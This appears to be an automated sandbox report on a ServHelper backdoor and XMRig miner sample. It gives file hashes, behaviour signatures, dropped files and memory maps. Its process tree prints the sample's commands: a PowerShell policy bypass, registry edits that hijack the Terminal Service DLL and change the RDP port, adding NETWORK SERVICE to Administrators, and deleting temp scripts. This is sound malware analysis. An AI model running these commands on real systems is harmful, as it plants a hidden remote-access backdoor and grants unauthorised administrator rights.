Analysis

  • max time kernel
    130s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-10-2021 13:54

General

  • Target

    Unconfirmed 357794.crdownload.exe

  • Size

    4.3MB

  • MD5

    3170bcf7de646f8612910ab98f6d1861

  • SHA1

    71d81b3dd1747cf1c0e744fcb1809d6522eab902

  • SHA256

    bea9da3ee504f62fc074963332e96297c7fff5efb2999efc946bc518a3765c00

  • SHA512

    f232d67902f1b7fc3eb73efc7df575dcac83f5943e613e61982c78c9d4c47b18eadd6d87f2b4d040ec4125f4770a33f03b5743b3b18c34ab622b258f913b91c5

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Unconfirmed 357794.crdownload.exe
    "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 357794.crdownload.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:704
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\coj5ad2o\coj5ad2o.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1380
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CD2.tmp" "c:\Users\Admin\AppData\Local\Temp\coj5ad2o\CSCC36E9A03A15D4667A77A45F61B7D4F7.TMP"
          4⤵
            PID:1732
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4076
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1792
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:592
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2016
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2232
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2096
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3528
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2392
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3312
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2780
                  • C:\Windows\SysWOW64\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3148
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:1164
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1868
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3068
                    • C:\Windows\SysWOW64\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1680
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1496
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3808
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3256

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                    MD5

                    f3068198b62b4b70404ec46694d632be

                    SHA1

                    7b0b31ae227cf2a78cb751573a9d07f755104ea0

                    SHA256

                    bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8

                    SHA512

                    ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795

                  • C:\Users\Admin\AppData\Local\Temp\RES9CD2.tmp

                    MD5

                    a0b67713527c6235255939c46a1f9a45

                    SHA1

                    8697f4df0096d217c310edbf3a383820a396d8a3

                    SHA256

                    c0645613ccd6b67ea1a197a2966d49be2be75685bcd342009999e1134bdb0be0

                    SHA512

                    98866b343de32b074fd182e22dbb9a35d881750affa88ea45e5d1e42abeb38d0f667271f09c2a80a53b11aab6e001750a9c706dabf8e4dc82f73a91131230fa0

                  • C:\Users\Admin\AppData\Local\Temp\coj5ad2o\coj5ad2o.dll

                    MD5

                    240ecbb4731b5bd3bab5234d98dd16fd

                    SHA1

                    b334b03e7bc48aea9a18e22f7c2bb3edd40bd02c

                    SHA256

                    d24bf975eb62ced949512d3f1be43c0bb9c71a883edf31c5abc829881a997736

                    SHA512

                    9d26e918511436e04f7160f01aa8144a0e6841cb8bb748b5abb010bf3c6bfdbb0de30807656bcff0c86dbd2497d4d2ebbfecf47b37f09b38c1a212e54862c335

                  • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                    MD5

                    794bf0ae26a7efb0c516cf4a7692c501

                    SHA1

                    c8f81d0ddd4d360dcbe0814a04a86748f99c6ff2

                    SHA256

                    97753653d52aaa961e4d1364b5b43551c76da9bb19e12f741bd67c986259e825

                    SHA512

                    20c97972a1256375157f82a859ce4936613fe109d54c63bbec25734edc3a567ca976b342a21ef5f25571b3c1959afe618ad9f9f17a817cfd731d1504541b1a75

                  • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                    MD5

                    28d9755addec05c0b24cca50dfe3a92b

                    SHA1

                    7d3156f11c7a7fb60d29809caf93101de2681aa3

                    SHA256

                    abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                    SHA512

                    891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                  • \??\c:\Users\Admin\AppData\Local\Temp\coj5ad2o\CSCC36E9A03A15D4667A77A45F61B7D4F7.TMP

                    MD5

                    69e2d76afe649de50fa887720d7a2996

                    SHA1

                    b2897897279d7ac5a635076d2e8e8452b17623c2

                    SHA256

                    5737be278bef788decdeaacaa990bfadc5321f35fa6a223a61b97ee87a4c25b6

                    SHA512

                    ed47a3e26db6bf058b70d627c996fee43ecc919c42294164aa8029b10e27246e39fe80975c6372c1e1276349f801844fb7bb9a6a208ade31c3fb43d354a0b994

                  • \??\c:\Users\Admin\AppData\Local\Temp\coj5ad2o\coj5ad2o.0.cs

                    MD5

                    9f8ab7eb0ab21443a2fe06dab341510e

                    SHA1

                    2b88b3116a79e48bab7114e18c9b9674e8a52165

                    SHA256

                    e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                    SHA512

                    53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                  • \??\c:\Users\Admin\AppData\Local\Temp\coj5ad2o\coj5ad2o.cmdline

                    MD5

                    de639bfe8c9f9e7c0a6caf92786595fd

                    SHA1

                    a17e4a3a3bb67c1eef27fbfd4fef50875628d22d

                    SHA256

                    0486b5e5e77e72c81d1a5023f7b1d4f342b66e3abebfdca7220383f11811b7ba

                    SHA512

                    5e0f1a355d96998c0336084dda00e55e78f9b32a0cd02b2d3cdd7ad02ab285199c8c29279c027f8f5774fc2e30cd968aa9835ee072d11af7097a130eb7e4f9a7

                  • memory/592-700-0x0000000005150000-0x0000000005151000-memory.dmp

                    Filesize

                    4KB

                  • memory/592-719-0x000000007EF10000-0x000000007EF11000-memory.dmp

                    Filesize

                    4KB

                  • memory/592-689-0x0000000000000000-mapping.dmp

                  • memory/592-701-0x0000000005152000-0x0000000005153000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-137-0x0000000007F60000-0x0000000007F61000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-147-0x0000000009350000-0x0000000009351000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-128-0x00000000012D0000-0x00000000012D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-130-0x0000000004B30000-0x0000000004B31000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-131-0x0000000007670000-0x0000000007671000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-133-0x0000000007032000-0x0000000007033000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-132-0x0000000007030000-0x0000000007031000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-134-0x0000000007450000-0x0000000007451000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-135-0x00000000075F0000-0x00000000075F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-155-0x0000000007180000-0x0000000007181000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-138-0x0000000007D30000-0x0000000007D31000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-139-0x0000000008820000-0x0000000008821000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-140-0x0000000008680000-0x0000000008681000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-178-0x00000000096C0000-0x00000000096C1000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-142-0x00000000012D0000-0x00000000012D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-146-0x0000000009C10000-0x0000000009C11000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-129-0x00000000012D0000-0x00000000012D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-1063-0x000000007EF60000-0x000000007EF61000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-157-0x0000000007033000-0x0000000007034000-memory.dmp

                    Filesize

                    4KB

                  • memory/704-127-0x0000000000000000-mapping.dmp

                  • memory/1164-1010-0x0000000000000000-mapping.dmp

                  • memory/1380-148-0x0000000000000000-mapping.dmp

                  • memory/1496-1014-0x0000000000000000-mapping.dmp

                  • memory/1680-1013-0x0000000000000000-mapping.dmp

                  • memory/1732-151-0x0000000000000000-mapping.dmp

                  • memory/1792-540-0x000000007E3A0000-0x000000007E3A1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1792-446-0x00000000049F0000-0x00000000049F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1792-447-0x00000000049F2000-0x00000000049F3000-memory.dmp

                    Filesize

                    4KB

                  • memory/1792-434-0x0000000000000000-mapping.dmp

                  • memory/1868-1011-0x0000000000000000-mapping.dmp

                  • memory/2016-964-0x0000000000000000-mapping.dmp

                  • memory/2096-966-0x0000000000000000-mapping.dmp

                  • memory/2232-965-0x0000000000000000-mapping.dmp

                  • memory/2392-1004-0x0000000000000000-mapping.dmp

                  • memory/2780-1008-0x0000000000000000-mapping.dmp

                  • memory/3068-1012-0x0000000000000000-mapping.dmp

                  • memory/3148-1009-0x0000000000000000-mapping.dmp

                  • memory/3256-1028-0x0000000000000000-mapping.dmp

                  • memory/3312-1007-0x0000000000000000-mapping.dmp

                  • memory/3492-115-0x0000000003C80000-0x0000000004082000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/3492-116-0x0000000000400000-0x0000000001AC1000-memory.dmp

                    Filesize

                    22.8MB

                  • memory/3492-114-0x0000000003874000-0x0000000003C7B000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/3492-117-0x0000000006D50000-0x000000000714F000-memory.dmp

                    Filesize

                    4.0MB

                  • memory/3492-121-0x0000000006930000-0x0000000006931000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-125-0x00000000095F0000-0x00000000095F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-120-0x0000000007650000-0x0000000007651000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-124-0x0000000007830000-0x0000000007831000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-122-0x0000000006932000-0x0000000006933000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-126-0x0000000006934000-0x0000000006935000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-123-0x0000000006933000-0x0000000006934000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-119-0x0000000007150000-0x0000000007151000-memory.dmp

                    Filesize

                    4KB

                  • memory/3528-1003-0x0000000000000000-mapping.dmp

                  • memory/3808-1027-0x0000000000000000-mapping.dmp

                  • memory/4076-193-0x0000000000B70000-0x0000000000B71000-memory.dmp

                    Filesize

                    4KB

                  • memory/4076-180-0x0000000000B70000-0x0000000000B71000-memory.dmp

                    Filesize

                    4KB

                  • memory/4076-181-0x0000000000B70000-0x0000000000B71000-memory.dmp

                    Filesize

                    4KB

                  • memory/4076-179-0x0000000000000000-mapping.dmp

                  • memory/4076-187-0x0000000006B00000-0x0000000006B01000-memory.dmp

                    Filesize

                    4KB

                  • memory/4076-189-0x0000000006B02000-0x0000000006B03000-memory.dmp

                    Filesize

                    4KB

                  • memory/4076-217-0x000000007E350000-0x000000007E351000-memory.dmp

                    Filesize

                    4KB